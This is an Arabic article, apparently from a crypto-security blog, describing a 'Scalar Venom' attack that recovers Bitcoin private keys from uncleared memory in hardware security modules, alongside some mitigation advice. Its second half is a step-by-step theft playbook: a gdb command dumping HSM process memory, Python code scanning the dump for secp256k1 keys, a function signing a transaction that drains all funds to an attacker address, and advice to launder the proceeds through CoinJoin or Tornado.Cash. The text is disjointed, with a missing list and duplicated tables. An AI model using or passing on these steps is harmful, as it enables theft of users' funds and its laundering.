هياكل البيانات مثل ec_scalar تزيد من المخاطر: غياب RAII يعني إنشاء نسخ مستقلة متعددة في الذاكرة — في المكدس، والسجلات، والذاكرة المؤقتة — في مراحل مختلفة من الحساب. كل نسخة من هذه النسخ يمكن نظرياً استعادتها، أو تفكيكها، أو إعادة تجميعها إلى مادة المفتاح الأصلية.
هجوم "سكالار فينوم" يستخرج ويجمع هذه النسخ المتناثرة بشكل منهجي، مما يثبت أن بنيات الذاكرة الحديثة تضمن بدقة هذا: كل عملية حسابية وسيطة تترك أثراً يمكن جمعه وتحويله إلى مفتاح. افترض التصميم التشفيري الكلاسيكي استقلالية العمليات، ولكن في الممارسة العملية، يولد مفتاح بيتكوين خاص واحد عشرات الآثار، كل منها يوفر مساراً لاستعادته.
كانت حادثة Milk Sad (CVE-2023-39910) الأولى في إظهار الانتقال من النظرية إلى الكارثة. لم يكن هذا متجهاً افتراضياً، بل خرقاً تشغيلياً مؤكداً:
وهذا يؤكد تماماً الآليات الموصوفة سابقاً: تحسينات المترجم، ونسخ البيانات المتعددة، وغياب ضمان تنظيف الذاكرة.
تطور سوق العملات المشفرة بافتراض السيطرة الكاملة على الذاكرة، لكن المترجمات الحديثة (عبر إزالة التعليمات البرمجية الميتة وتحسينات التخزين المؤقت) تتجاهل تماماً المتطلبات التشفيرية. ونتيجة لذلك، تفترض البرامج التشفيرية "لقد مسحت الذاكرة، لذا فهي آمنة الآن"، بينما يفترض المترجم "لا يتم استخدام هذه الذاكرة أبداً، لذا ليست هناك حاجة لمسحها". هذا التناقض غير قابل للحل بشكل أساسي بمعايير C/C++ الحديثة ويصبح نقطة الدخول المطلقة لـ "سكالار فينوم".
الخطوات التالية (0-30 يوماً) : تدوير جميع المفاتيح الخاصة المولدة في C/C++. سحب المفاتيح التي قد تكون تعرضت للاختراق فوراً.
المدى المتوسط (30-90 يوماً) : الانتقال إلى Rust، وتنفيذ ضمانات المترجم لمسح الذاكرة، وتحليل الذاكرة المستمر.
المدى الطويل (90+ يوماً) : الانتقال المعماري إلى RAII، وامتدادات المترجم للعمليات التشفيرية، واستبدال أجهزة HSM البرمجية بأجهزة مادية.
يشكل "سكالار فينوم" و CVE-2023-39910 نقطة تحول في أمن صناعة العملات المشفرة: تصاعدت نظرية بقاء البيانات في الذاكرة إلى كارثة حقيقية، كلفت ملايين وآلاف البيتكوينات. لا يمكن إصلاح المشكلة بتصحيح: إنها تناقض معماري: التشفير الحديث بلغة C/C++ بدون إدارة الذاكرة و RAII يؤدي حتماً إلى اختراق أي بنية تحتية كبيرة. أمام الصناعة طريق واحد فقط: الانتقال إلى لغات آمنة للذاكرة وإصلاح جذري لإدارة المفاتيح الخاصة.
التقييم النهائي : "سكالار فينوم" ليس مجرد تهديد نظري، بل هو استغلال مثبت وواسع الانتشار. جميع البنى التحتية التشفيرية بدون لغات آمنة للذاكرة وأطر RAII معرضة لخطر الاختراق المضمون. يجب أن يبدأ الترحيل إلى التقنيات الجديدة فوراً.
الخطوة 1: الحصول على الوصول إلى ذاكرة HSM
bash:
# طرق الحصول على تفريغ الذاكرة:
# 1. استغلال CVE-2025-60013 لتحفيز خطأ التهيئة
# 2. هجوم التمهيد البارد على مضيف HSM
# 3. استغلال ثغرة المخزن المؤقت في برنامج HSM الخفي
# 4. تحليل التفريغ الأساسي عند تعطل عملية HSM
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"
الخطوة 2: المسح بحثاً عن مناطق عالية الإنتروبيا
python:
# خوارزمية مشابهة لـ BitScanPro:
import hashlib
def scan_for_private_keys(memory_dump, min_entropy=7.5):
"""
يمسح تفريغ الذاكرة بحثاً عن مناطق عالية الإنتروبيا
المميزة للمفاتيح الخاصة secp256k1 ذات 32 بايت
"""
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - 32, 8):
potential_key = memory_dump[offset:offset+32]
entropy = calculate_entropy(potential_key)
# التحقق من نطاق secp256k1
key_as_int = int.from_bytes(potential_key, 'big')
if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
yield (offset, potential_key)
الخطوة 3: التحقق من صحة المفاتيح الخاصة المستعادة
python:
from ecdsa import SigningKey, NIST256p
def validate_and_generate_address(potential_key):
"""يحول القيمة العددية المستعادة إلى عنوان بيتكوين"""
try:
# استخدام secp256k1 بدلاً من NIST256p
privkey = potential_key.hex()
# توليد المفتاح العام عبر ضرب النقطة على المنحنى الإهليلجي
# P = k * G، حيث k = المفتاح الخاص، G = نقطة المولد
public_key = generate_public_key(potential_key, secp256k1)
# تجزئة المفتاح العام للحصول على العنوان
address = public_key_to_address(public_key)
return address, potential_key
except:
return None, None
الخطوة 4: تحويل الأموال
python:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
ينشئ ويوقع معاملة لسحب جميع الأموال
من العنوان المخترق
"""
# 1. الحصول على UTXO للعنوان من سلسلة الكتل
utxos = blockchain_api.get_utxos(bitcoin_address)
# 2. إنشاء معاملة (سحب جميع الأموال إلى عنوان المهاجم)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
# 3. التوقيع باستخدام المفتاح الخاص المستعاد
tx.sign(recovered_private_key) # توقيع ECDSA باستخدام المفتاح المخترق
# 4. البث إلى شبكة البيتكوين
blockchain_api.broadcast_transaction(tx)
المرحلة 5: اختفاء الآثار
يتم خلط الأموال المستعادة فوراً عبر CoinJoin/Tornado.Cash لإعاقة التحليل الجنائي. keyhunters
قابلية التوسع: باستخدام الحوسبة السحابية (AWS, Google Cloud)، يمكن معالجة أكثر من 1000 تفريغ ذاكرة بالتوازي ، مما يتيح التعامل مع آلاف المفاتيح الخاصة في وقت واحد .

[المهاجم]
↓
[CVE-2025-60013: تهيئة HSM بأحرف شل التعريفية]
↓
[وحدة F5OS-A FIPS: معالجة كلمة المرور، إنشاء القيم العددية]
↓
[سكالار فينوم: نسخ متعددة من المفاتيح الخاصة في الذاكرة]
↓
[تعطل HSM / فشل التهيئة الجزئي: ذاكرة غير ممسوحة]
↓
[تفريغ الذاكرة: التقاط حالة الذاكرة]
↓
[المسح الجنائي: BitScanPro يجد مناطق عالية الإنتروبيا]
↓
[التحقق من صحة المفتاح: فحص منحنى secp256k1]
↓
[توليد العنوان: إنشاء عنوان بيتكوين]
↓
[تحويل الأموال: التوقيع وبث المعاملة]
↓
[خسارة الضحية: فقدان كامل للسيطرة على الأموال]
لا تتطلب شهادة FIPS 140-2 (وحتى FIPS 140-3):
هذا يعني أنه حتى أجهزة HSM "الحاصلة على شهادة FIPS" معرضة لـ "سكالار فينوم" ما لم يطبق المطورون إجراءات أمنية إضافية.[24]
هجوم "سكالار فينوم" يشكل تهديداً خطيراً لبنية البيتكوين التحتية، خاصة عند دمجه مع ثغرات تهيئة HSM مثل CVE-2025-60013. هذا الهجوم:
الانتقال إلى بنى تحتية ذات حماية ذاكرة عبر الأجهزة (Intel SGX، ARM TrustZone)، و دقة صريحة لجميع المخازن المؤقتة المؤقتة، و أنماط RAII في المكتبات التشفيرية أمر بالغ الأهمية لضمان أمن نظام البيتكوين.
يمثل هجوم "سكالار فينوم" ثغرة خطيرة للنظام البيئي العالمي للبيتكوين، خاصة عند دمجه مع ثغرات تهيئة HSM CVE-2025-60013. تقوض سلسلة الهجوم متعددة الطبقات هذه نماذج الثقة التشفيرية بشكل جذري وتكشف المخاطر الوجودية التالية:
تمكن من الاختراق الكامل للمفاتيح الخاصة من خلال تسرب الذاكرة، متجاوزة حتى وحدات أمان الأجهزة المتقدمة، مما يجعل الأنظمة المتأثرة غير محصنة تماماً.
الاختراق دائم ولا رجعة فيه: بمجرد استخراج المفتاح الخاص، لا يمكن استعادته، مما يعرض جميع الأموال المعتمدة لخطر الخسارة الوشيك.
الهجوم قابل للتوسع ويمكن أتمتته لضرب عدد هائل من عقد ومحافظ البيتكوين في وقت واحد، مما يؤدي إلى زيادة أسية في الخسائر المحتملة.
طبيعته الخفية تضمن عدم وجود آثار مرئية في سجلات النظام أو مقاييس الأداء، مما يجعل آليات الكشف والحماية التقليدية غير كافية.
يتطلب التخفيف من هذا التهديد الكارثي انتقالاً عاجلاً إلى بنى تحتية آمنة للذاكرة، بما في ذلك حماية الذاكرة عبر الأجهزة (مثل Intel SGX أو ARM TrustZone)، والتصفير الصارم لجميع المخازن المؤقتة المؤقتة أثناء جميع العمليات التشفيرية، والتنفيذ القوي لأنماط RAII في مكتبات البرمجيات الحيوية. فقط من خلال مثل هذه الإصلاحات المعمارية القوية يمكن ضمان سلامة وأمن البنية التحتية للبيتكوين على المدى الطويل بشكل واقعي.
| العملية | الوقت | المعدات |
|---|
| الحصول على تفريغ الذاكرة | 5-30 ثانية | يعتمد على الطريقة |
| مسح تفريغ 16 جيجابايت | 2-5 دقائق | MacBook Air (M1) |
| التحقق من 1000 مفتاح مرشح | 30 ثانية | MacBook Air (M1) |
| إنشاء العنوان | 10 ثوانٍ | MacBook Air (M1) |
| تحويل الأموال (البث) | < 1 ثانية | الإنترنت |
| الإجمالي للاختراق الكامل | < 10 دقائق | MacBook Air (M1) |
| الجانب | التقييم | ملاحظة |
|---|
| CVE-2025-60013 (تهيئة HSM) | CVSS 5.7 (متوسط) | رسميًا منخفض، ولكنه يعمل كنقطة دخول |
| هجوم Scalar Venom | CVSS 8.5+ (عالي/حرج) | تأثير حاسم بحكم الواقع |
| الهجوم المدمج | CVSS 9.5+ (حرج) | اختراق كامل للمفاتيح الخاصة |
| التعافي من الاختراق | مستحيل | فقدان أموال لا رجعة فيه |
| العملية | الوقت | المعدات |
|---|
| الحصول على تفريغ الذاكرة | 5-30 ثانية | يعتمد على الطريقة |
| مسح تفريغ بحجم 16GB | 2-5 دقائق | MacBook Air (M1) |
| التحقق من صحة 1000 مفتاح مرشح | 30 ثانية | MacBook Air (M1) |
| توليد العنوان | 10 ثوانٍ | MacBook Air (M1) |
| تحويل الأموال (البث) | < 1 ثانية | الإنترنت |
| الإجمالي للاختراق الكامل | < 10 دقائق | MacBook Air (M1) |